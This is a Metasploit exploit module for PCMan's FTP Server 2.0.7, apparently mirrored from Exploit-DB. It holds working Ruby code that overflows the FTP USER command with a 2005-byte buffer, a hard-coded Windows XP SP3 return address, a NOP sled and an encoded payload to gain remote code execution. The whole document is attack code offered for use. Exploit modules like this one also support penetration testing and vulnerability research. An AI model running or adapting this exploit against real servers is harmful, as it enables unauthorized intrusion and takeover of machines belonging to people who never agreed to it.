PCMan FTP Server 2.0.7 – Remote (Metasploit)

  • 作者: MSJ
    日期: 2013-07-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/27007/
  • # Exploit-DB Note: Ret needs adjustment for Windows XP SP3 English
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::Ftp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'PCMan\'s FTPD V2.0.7 Username Overflow',
    			'Description'=> %q{
    					This module exploits a buffer overflow found in the USER command
    				of PCMan's FTPD.
    			},
    			'Author' => 'MSJ <matt.jones.85[at]gmail.com>',
    			'License'=> MSF_LICENSE,
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread'
    				},
    			'Payload'=>
    				{
    					'Space'=> 2005,
    					'BadChars' => "\x53\x93\x42\x7E",
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					# Target 0
    					[
    						'Windows XP SP3 English',
    						{
    							'Ret'=> 0x7e429353 # push esp, ret
    						}
    					]
    				],
    			'Default Target' => 0))
    	end
    
    	def check
    		connect
    		disconnect
    
    		if (banner =~ /220 PCMan\'s FTP Server 2\.0 Ready\./)
    			return Exploit::CheckCode::Vulnerable
    		end
    			return Exploit::CheckCode::Safe
    	end
    
    	def exploit
    		connect
    
    		print_status("Trying target #{target.name}...")
    
    		sploit = 'USER ' + "\x41" * 2005 + [target.ret].pack('V') + make_nops(16) + payload.encoded
    		
    		send_cmd( [sploit] , false )
    
    		handler
    		disconnect
    	end
    
    end